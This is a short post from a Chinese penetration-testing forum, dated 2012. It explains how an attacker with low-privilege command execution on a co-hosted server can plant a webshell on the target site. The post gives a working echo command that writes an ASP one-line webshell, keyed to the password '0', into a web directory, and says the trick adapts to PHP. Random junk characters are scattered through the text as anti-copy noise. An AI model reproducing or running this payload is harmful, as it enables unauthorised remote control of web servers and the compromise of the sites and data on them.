中国网络渗透测试联盟

标题: 旁注cmd低权限下拿webshell [打印本页]
作者: admin    时间: 2012-9-23 14:40
标题: 旁注cmd低权限下拿webshell
在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。
/ ^) Q! s2 [: d, q
) f! b* Z9 K. E命令格式: H2 U+ X0 r* m$ c+ F
8 {/ t1 _, }! a* S( V2 F
Echo 语句 >目标站绝对目录7 Q5 d5 u4 m& x

' Y' N" L8 ?$ Q2 b% h4 i7 R例如：
/ M# k+ i9 O/ d; e9 y0 l7 G' p
5 g, i9 O+ z: A$ z5 m9 Qecho ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp! u* n7 {& ~6 s3 C9 D
& m+ [7 y# t) Y5 M
这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。. u' Z, u2 V+ n; B9 H" X




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2